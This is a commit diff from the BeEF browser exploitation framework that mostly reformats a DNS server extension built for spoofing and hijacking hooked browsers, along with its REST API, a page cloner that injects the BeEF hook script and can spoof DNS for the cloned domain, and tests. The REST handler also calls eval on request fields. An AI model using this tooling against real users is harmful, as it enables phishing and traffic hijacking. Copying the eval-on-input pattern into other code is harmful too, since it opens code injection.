Manually merged DNS extension code (pull request 967 from @soh-cah-toa)

This commit is contained in:
antisnatchor
2014-03-02 12:56:33 +00:00
parent 9dcff5184d
commit ec9cf4d460
14 changed files with 457 additions and 452 deletions

View File

@@ -121,4 +121,4 @@ beef:
ipec:
enable: true
dns:
enable: true
enable: false

View File

@@ -4,45 +4,45 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
module API
module Extension
module Dns
module API
module NameserverHandler
module NameserverHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'pre_http_start'
)
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'pre_http_start'
)
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'mount_handler'
)
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'mount_handler'
)
# Begins main DNS server run-loop at BeEF startup
def self.pre_http_start(http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
# Begins main DNS server run-loop at BeEF startup
def self.pre_http_start(http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
address = dns_config['address']
port = dns_config['port']
address = dns_config['address']
port = dns_config['port']
dns = BeEF::Extension::Dns::Server.instance
dns.run_server(address, port)
dns = BeEF::Extension::Dns::Server.instance
dns.run_server(address, port)
print_info "DNS Server: #{address}:#{port}"
print_info "DNS Server: #{address}:#{port}"
end
# Mounts handler for processing RESTful API calls
def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end
end
end
end
# Mounts handler for processing RESTful API calls
def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end
end
end
end
end
end

View File

@@ -4,148 +4,148 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
module Extension
module Dns
# This class is responsible for providing a DNS nameserver that can be dynamically
# configured by other modules and extensions. It is particularly useful for
# performing DNS spoofing, hijacking, tunneling, etc.
#
# Only a single instance will exist during runtime (known as the "singleton pattern").
# This makes it easier to coordinate actions across the various BeEF systems.
class Server
# This class is responsible for providing a DNS nameserver that can be dynamically
# configured by other modules and extensions. It is particularly useful for
# performing DNS spoofing, hijacking, tunneling, etc.
#
# Only a single instance will exist during runtime (known as the "singleton pattern").
# This makes it easier to coordinate actions across the various BeEF systems.
class Server
include Singleton
include Singleton
attr_reader :address, :port
attr_reader :address, :port
# @!method self.instance
# Returns the singleton instance. Use this in place of {#initialize}.
# @!method self.instance
# Returns the singleton instance. Use this in place of {#initialize}.
# @note This method cannot be invoked! Use {.instance} instead.
# @see ::instance
def initialize
@lock = Mutex.new
@server = nil
end
# @note This method cannot be invoked! Use {.instance} instead.
# @see ::instance
def initialize
@lock = Mutex.new
@server = nil
end
# Starts the main DNS server run-loop in a new thread.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server(address = '0.0.0.0', port = 5300)
@address = address
@port = port
# Starts the main DNS server run-loop in a new thread.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server(address = '0.0.0.0', port = 5300)
@address = address
@port = port
@lock.synchronize do
Thread.new do
# @note Calling #sleep is a quick fix that prevents race conditions
# with WebSockets. A better solution is needed; perhaps a
# global EventMachine mutex.
sleep(1)
@lock.synchronize do
Thread.new do
# @note Calling #sleep is a quick fix that prevents race conditions
# with WebSockets. A better solution is needed; perhaps a
# global EventMachine mutex.
sleep(1)
if EventMachine.reactor_running?
EventMachine.next_tick { run_server_block(@address, @port) }
else
run_server_block(@address, @port)
if EventMachine.reactor_running?
EventMachine.next_tick { run_server_block(@address, @port) }
else
run_server_block(@address, @port)
end
end
end
end
end
end
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
#
# @example Adds an A record for foobar.com with the value 1.2.3.4
#
# dns = BeEF::Extension::Dns::Server.instance
#
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
# transaction.respond!('1.2.3.4')
# end
#
# @param pattern [String, Regexp] query pattern to recognize
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
#
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
# This does not apply if 'pattern' is a variable.
#
# @yield callback to invoke when pattern is matched
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
#
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
#
# @see #remove_rule
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
def add_rule(pattern, type, &block)
@lock.synchronize { @server.match(pattern, type, block) }
end
# Removes the given DNS rule. Any future queries for it will be passed through.
#
# @param id [Integer] id returned from {#add_rule}
#
# @return [Boolean] true on success, false on failure
#
# @see #add_rule
def remove_rule(id)
@lock.synchronize { @server.remove_rule(id) }
end
# Retrieves a specific rule given its id
#
# @param id [Integer] unique identifier for rule
#
# @return [Hash] hash representation of rule
def get_rule(id)
@lock.synchronize { @server.get_rule(id) }
end
# Returns an AoH representing the entire current DNS ruleset.
#
# Each element is a hash with the following keys:
#
# * <code>:id</code>
# * <code>:pattern</code>
# * <code>:type</code>
# * <code>:response</code>
#
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
def get_ruleset
@lock.synchronize { @server.get_ruleset }
end
# Clears the entire DNS ruleset.
#
# Requests made after doing so will be passed through to the root nameservers.
#
# @return [Boolean] true on success, false on failure
def remove_ruleset
@lock.synchronize { @server.remove_ruleset }
end
private
# Common code needed by {#run_server} to start DNS server.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server_block(address, port)
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
server = self
BeEF::Extension::Dns::Server.instance.instance_eval { @server = server }
# Pass unmatched queries upstream to root nameservers
otherwise do |transaction|
transaction.passthrough!(
RubyDNS::Resolver.new([[:udp, '8.8.8.8', 53], [:tcp, '8.8.8.8', 53]])
)
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
#
# @example Adds an A record for foobar.com with the value 1.2.3.4
#
# dns = BeEF::Extension::Dns::Server.instance
#
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
# transaction.respond!('1.2.3.4')
# end
#
# @param pattern [String, Regexp] query pattern to recognize
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
#
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
# This does not apply if 'pattern' is a variable.
#
# @yield callback to invoke when pattern is matched
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
#
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
#
# @see #remove_rule
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
def add_rule(pattern, type, &block)
@lock.synchronize { @server.match(pattern, type, block) }
end
# Removes the given DNS rule. Any future queries for it will be passed through.
#
# @param id [Integer] id returned from {#add_rule}
#
# @return [Boolean] true on success, false on failure
#
# @see #add_rule
def remove_rule(id)
@lock.synchronize { @server.remove_rule(id) }
end
# Retrieves a specific rule given its id
#
# @param id [Integer] unique identifier for rule
#
# @return [Hash] hash representation of rule
def get_rule(id)
@lock.synchronize { @server.get_rule(id) }
end
# Returns an AoH representing the entire current DNS ruleset.
#
# Each element is a hash with the following keys:
#
# * <code>:id</code>
# * <code>:pattern</code>
# * <code>:type</code>
# * <code>:response</code>
#
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
def get_ruleset
@lock.synchronize { @server.get_ruleset }
end
# Clears the entire DNS ruleset.
#
# Requests made after doing so will be passed through to the root nameservers.
#
# @return [Boolean] true on success, false on failure
def remove_ruleset
@lock.synchronize { @server.remove_ruleset }
end
private
# Common code needed by {#run_server} to start DNS server.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server_block(address, port)
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
server = self
BeEF::Extension::Dns::Server.instance.instance_eval { @server = server }
# Pass unmatched queries upstream to root nameservers
otherwise do |transaction|
transaction.passthrough!(
RubyDNS::Resolver.new([[:udp, '8.8.8.8', 53], [:tcp, '8.8.8.8', 53]])
)
end
end
end
end
end
end
end
end
end

View File

@@ -4,18 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
module Extension
module Dns
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'dns'
@full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked zombies'
@short_name = 'dns'
@full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked browsers.'
end
end
end
end
end
require 'extensions/dns/api'

View File

@@ -4,24 +4,24 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
module Dns
module Core
module Models
module Dns
class Rule
class Rule
include DataMapper::Resource
include DataMapper::Resource
storage_names[:default] = 'extension_dns_rules'
storage_names[:default] = 'extension_dns_rules'
property :id, String, :key => true # Unique identifier
property :pattern, Object # Query pattern
property :type, Object # Resource type
property :block, Text # Associated callback
property :id, String, :key => true # Unique identifier
property :pattern, Object # Query pattern
property :type, Object # Resource type
property :block, Text # Associated callback
end
end
end
end
end
end
end
end

View File

@@ -4,242 +4,243 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
module Extension
module Dns
# This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router
# This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
# Require a valid API token from a valid IP address
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
# Require a valid API token from a valid IP address
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# Returns the entire current DNS ruleset
get '/ruleset' do
begin
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
count = ruleset.length
result = {}
result[:count] = count
result[:ruleset] = ruleset
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
end
# Returns a specific rule given its id
get '/rule/:id' do
begin
id = params[:id]
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
halt 404 if result.length == 0
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
pattern = body['pattern']
type = body['type']
response = body['response']
# Validate required JSON keys
unless [pattern, type, response].include?(nil)
# Determine whether 'pattern' is a String or Regexp
# Returns the entire current DNS ruleset
get '/ruleset' do
begin
pattern_test = eval pattern
pattern = pattern_test if pattern_test.class == Regexp
rescue => e; end
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
count = ruleset.length
if response.class == Array
if response.length == 0
raise InvalidJsonError, 'Empty "reponse" key passed to endpoint /api/dns/rule'
result = {}
result[:count] = count
result[:ruleset] = ruleset
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
end
# Returns a specific rule given its id
get '/rule/:id' do
begin
id = params[:id]
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
end
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
halt 404 if result.length == 0
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
pattern = body['pattern']
type = body['type']
response = body['response']
# Validate required JSON keys
unless [pattern, type, response].include?(nil)
# Determine whether 'pattern' is a String or Regexp
begin
pattern_test = eval pattern
pattern = pattern_test if pattern_test.class == Regexp
rescue => e;
end
else
raise InvalidJsonError, 'Non-array "reponse" key passed to endpoint /api/dns/rule'
if response.class == Array
if response.length == 0
raise InvalidJsonError, 'Empty "reponse" key passed to endpoint /api/dns/rule'
end
else
raise InvalidJsonError, 'Non-array "reponse" key passed to endpoint /api/dns/rule'
end
unless BeEF::Filters.is_non_empty_string?(pattern)
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
end
unless BeEF::Filters.is_non_empty_string?(type)
raise InvalidJsonError, 'Empty "type" key passed to endpoint /api/dns/rule'
end
id = ''
block_src = format_response(type, response)
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
# Bypass #add_rule so that 'block_src' can be passed as a String
BeEF::Extension::Dns::Server.instance.instance_eval do
id = @server.match(pattern, type_obj, block_src)
end
result = {}
result['success'] = true
result['id'] = id
result.to_json
end
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end
unless BeEF::Filters.is_non_empty_string?(pattern)
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
end
unless BeEF::Filters.is_non_empty_string?(type)
raise InvalidJsonError, 'Empty "type" key passed to endpoint /api/dns/rule'
end
id = ''
block_src = format_response(type, response)
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
# Bypass #add_rule so that 'block_src' can be passed as a String
BeEF::Extension::Dns::Server.instance.instance_eval do
id = @server.match(pattern, type_obj, block_src)
end
result = {}
result['success'] = true
result['id'] = id
result.to_json
end
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end
end
# Removes a rule given its id
delete '/rule/:id' do
begin
id = params[:id]
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
end
result = {}
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Removes a rule given its id
delete '/rule/:id' do
begin
id = params[:id]
private
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
end
# Generates a formatted string representation of the callback to invoke as a response.
#
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
# @param [Array] rdata record data to include in response
#
# @return [String] string representation of response callback
def format_response(type, rdata)
src = 'proc { |t| t.respond!(%s) }'
result = {}
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
end
args = case type
when 'A'
data = { :address => rdata[0] }
sprintf "'%<address>s'", data
when 'AAAA'
data = { :address => rdata[0] }
sprintf "'%<address>s'", data
when 'CNAME'
data = { :cname => rdata[0] }
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
when 'HINFO'
data = { :cpu => rdata[0], :os => rdata[1] }
sprintf "'%<cpu>s', '%<os>s'", data
when 'MINFO'
data = { :rmailbx => rdata[0], :emailbx => rdata[1] }
private
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
"Resolv::DNS::Name.create('%<emailbx>s')",
data
when 'MX'
data = { :preference => rdata[0], :exchange => rdata[1] }
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
when 'NS'
data = { :nsdname => rdata[0] }
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
when 'PTR'
data = { :ptrdname => rdata[0] }
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
when 'SOA'
data = {
:mname => rdata[0],
:rname => rdata[1],
:serial => rdata[2],
:refresh => rdata[3],
:retry => rdata[4],
:expire => rdata[5],
:minimum => rdata[6]
}
# Generates a formatted string representation of the callback to invoke as a response.
#
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
# @param [Array] rdata record data to include in response
#
# @return [String] string representation of response callback
def format_response(type, rdata)
src = 'proc { |t| t.respond!(%s) }'
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
'%<retry>d, ' +
'%<expire>d, ' +
'%<minimum>d',
data
when 'TXT'
data = { :txtdata => rdata[0] }
sprintf "'%<txtdata>s'", data
when 'WKS'
data = {
:address => rdata[0],
:protocol => rdata[1],
:bitmap => rdata[2]
}
args = case type
when 'A'
data = {:address => rdata[0]}
sprintf "'%<address>s'", data
when 'AAAA'
data = {:address => rdata[0]}
sprintf "'%<address>s'", data
when 'CNAME'
data = {:cname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
when 'HINFO'
data = {:cpu => rdata[0], :os => rdata[1]}
sprintf "'%<cpu>s', '%<os>s'", data
when 'MINFO'
data = {:rmailbx => rdata[0], :emailbx => rdata[1]}
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
else
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
end
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
"Resolv::DNS::Name.create('%<emailbx>s')",
data
when 'MX'
data = {:preference => rdata[0], :exchange => rdata[1]}
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
when 'NS'
data = {:nsdname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
when 'PTR'
data = {:ptrdname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
when 'SOA'
data = {
:mname => rdata[0],
:rname => rdata[1],
:serial => rdata[2],
:refresh => rdata[3],
:retry => rdata[4],
:expire => rdata[5],
:minimum => rdata[6]
}
sprintf(src, args)
end
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
'%<retry>d, ' +
'%<expire>d, ' +
'%<minimum>d',
data
when 'TXT'
data = {:txtdata => rdata[0]}
sprintf "'%<txtdata>s'", data
when 'WKS'
data = {
:address => rdata[0],
:protocol => rdata[1],
:bitmap => rdata[2]
}
# Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
else
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
end
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
sprintf(src, args)
end
# Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
end
end
end
end

View File

@@ -49,7 +49,7 @@ module RubyDNS
# Now uses an 'id' parameter to uniquely identify rules
def initialize(id, pattern, callback)
@id = id
@pattern = pattern
@pattern = pattern
@callback = callback
end
@@ -77,15 +77,17 @@ module RubyDNS
begin
# Sourcify block (already a string only for RESTful API calls)
block_src = case block
when String then block
when Proc then block.to_source
when String then
block
when Proc then
block.to_source
end
# Break out and return id if rule is already present
BeEF::Core::Models::Dns::Rule.each do |rule|
if pattern[0] == rule.pattern &&
pattern[1] == rule.type &&
block_src == rule.block
pattern[1] == rule.type &&
block_src == rule.block
id = rule.id
throw :match
@@ -95,23 +97,23 @@ module RubyDNS
id = generate_id
case block
when String
@rules << Rule.new(id, pattern, eval(block_src))
when Proc
@rules << Rule.new(id, pattern, block)
when String
@rules << Rule.new(id, pattern, eval(block_src))
when Proc
@rules << Rule.new(id, pattern, block)
end
BeEF::Core::Models::Dns::Rule.create(
:id => id,
:pattern => pattern[0].to_s,
:type => pattern[1],
:block => block_src
:id => id,
:pattern => pattern[0].to_s,
:type => pattern[1],
:block => block_src
)
rescue Sourcify::CannotHandleCreatedOnTheFlyProcError,
Sourcify::CannotParseEvalCodeError,
Sourcify::MultipleMatchingProcsPerLineError,
Sourcify::NoMatchingProcError,
Sourcify::ParserInternalError
Sourcify::CannotParseEvalCodeError,
Sourcify::MultipleMatchingProcsPerLineError,
Sourcify::NoMatchingProcError,
Sourcify::ParserInternalError
@logger.error "Failed to sourcify block for DNS rule '#{id}'"
raise

View File

@@ -102,14 +102,14 @@ module BeEF
halt 401
end
if (link =~ URI::regexp).nil?#invalid URI
if (link =~ URI::regexp).nil? #invalid URI
print_error "Invalid link or linktext"
halt 401
end
recipients = body["recipients"][0]
recipients.each do |email,name|
recipients.each do |email, name|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
print_error "Email [#{email}] or name [#{name}] are not valid/null."
halt 401

View File

@@ -35,8 +35,9 @@ module BeEF
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
#
if use_existing.nil? || use_existing == false
begin #,"--background"
IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
begin #,"--background"
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
end
success = true
rescue => e
print_error "Errors executing wget: #{e}"
@@ -108,7 +109,7 @@ module BeEF
interceptor.set :frameable, frameable
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url,mount)
interceptor.set :db_entry, persist_page(url, mount)
@http_server.mount("#{mount}", interceptor.new)
print_info "Mounting cloned page on URL [#{mount}]"
@@ -117,7 +118,7 @@ module BeEF
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
domain = url.gsub(%r{^http://}, '')
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
@@ -137,12 +138,11 @@ module BeEF
private
# Replace </head> with <BeEF_hook></head>
def add_beef_hook(line)
if line.include?("</head>")
line.gsub!("</head>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif
line.gsub!("</HEAD>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
if line.include?("</head>")
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
end
private
@@ -176,7 +176,7 @@ module BeEF
end
def get_page_content(file_path)
file = File.open(file_path,'r')
file = File.open(file_path, 'r')
cloned_page = file.read
file.close
cloned_page

View File

@@ -20,7 +20,7 @@ class TC_DnsRest < Test::Unit::TestCase
json,
@@headers)
result = JSON.parse(response.body)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
@@ -231,13 +231,13 @@ class TC_DnsRest < Test::Unit::TestCase
# Test SOA type
rule['type'] = 'SOA'
rule['response'] = [
"ns.#{rule['pattern']}.",
"mail.#{rule['pattern']}.",
2012031500,
10800,
3600,
604800,
3600
"ns.#{rule['pattern']}.",
"mail.#{rule['pattern']}.",
2012031500,
10800,
3600,
604800,
3600
]
regex = %r{
@@ -359,8 +359,8 @@ class TC_DnsRest < Test::Unit::TestCase
# Adds a new DNS rule
def add_rule(params)
response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
params.to_json,
@@headers)
params.to_json,
@@headers)
check_rest_response(response)
end
@@ -379,7 +379,7 @@ class TC_DnsRest < Test::Unit::TestCase
# Compares output of dig command against regex
def check_dns_response(regex, type, pattern)
address = @@config.get('beef.extension.dns.address')
port = @@config.get('beef.extension.dns.port')
port = @@config.get('beef.extension.dns.port')
dig_output = `dig @#{address} -p #{port} -t #{type} #{pattern}`
assert_match(regex, dig_output)

View File

@@ -22,7 +22,7 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
json,
@@headers)
result = JSON.parse(response.body)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
@@ -51,12 +51,12 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
json,
@@headers)
json,
@@headers)
check_response(response)
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
domain = url.gsub(%r{^http://}, '')
regex = %r{
@@ -69,7 +69,7 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
# Send DNS request to server to verify that a new rule was added
dns_address = @@config.get('beef.extension.dns.address')
dns_port = @@config.get('beef.extension.dns.port')
dns_port = @@config.get('beef.extension.dns.port')
dig_output = `dig @#{dns_address} -p #{dns_port} -t A #{domain}`
assert_match(regex, dig_output)

View File

@@ -58,7 +58,7 @@ class TC_Dns < Test::Unit::TestCase
# Tests that DNS server runs correctly on desired address and port
def test_04_run_server
address = @@dns_config['address']
port = @@dns_config['port']
port = @@dns_config['port']
@@dns.run_server(address, port)
sleep(3)
@@ -193,12 +193,12 @@ class TC_Dns < Test::Unit::TestCase
# Tests the retrieval of the entire DNS ruleset
def test_12_get_ruleset
ruleset = @@dns.get_ruleset
ruleset.sort! {|a, b| a[:pattern] <=> b[:pattern] }
ruleset.sort! { |a, b| a[:pattern] <=> b[:pattern] }
assert_equal(Array, ruleset.class)
assert_equal(5, ruleset.length)
check_rule(ruleset[0], {:pattern=>'(?-mix:i\\.(love|hate)\\.beef\\.com?)',
check_rule(ruleset[0], {:pattern => '(?-mix:i\\.(love|hate)\\.beef\\.com?)',
:type => 'A',
:response => '9.9.9.9'})
@@ -287,7 +287,7 @@ class TC_Dns < Test::Unit::TestCase
# Confirms that a query for the rule given in 'id' returns a 'type' failure status
def check_failure_status(id, type)
rule = @@dns.get_rule(id)
rule = @@dns.get_rule(id)
status = type.to_s.force_encoding('UTF-8').upcase
assert_equal(status, rule[:response][0])
@@ -305,6 +305,8 @@ end
# Suppresses unnecessary output from RubyDNS
module Kernel
def puts(*args); end
def puts(*args)
;
end
end

View File

@@ -9,12 +9,12 @@ class TC_Grep < Test::Unit::TestCase
def test_grep_eval
Dir['../../**/*.rb'].each do |path|
File.open( path ) do |f|
File.open(path) do |f|
next if /tc_grep.rb/.match(path) # skip this file
next if /\/msf-test\//.match(path) # skip this file
next if /extensions\/dns/.match(path) # skip this file
f.grep( /\Weval\W/im ) do |line|
f.grep(/\Weval\W/im) do |line|
assert(false, "Illegal use of 'eval' in framework: " + path + ':' + line)
end
end

View File

@@ -48,13 +48,13 @@ class TS_BeefTests
suite << TC_Xssrays.suite
suite << TC_Vnc.suite
suite << TC_Obfuscation.suite
suite << TC_Logger.suite
suite << TC_Logger.suite
suite << TC_IpecTunnel.suite
suite << TC_Requester.suite
suite << TC_Proxy.suite
suite << TC_Hackverter.suite
suite << TC_EventLogger.suite
suite << TC_Hooks.suite
suite << TC_Hooks.suite
suite << TC_Redirector.suite
suite << TC_Dns.suite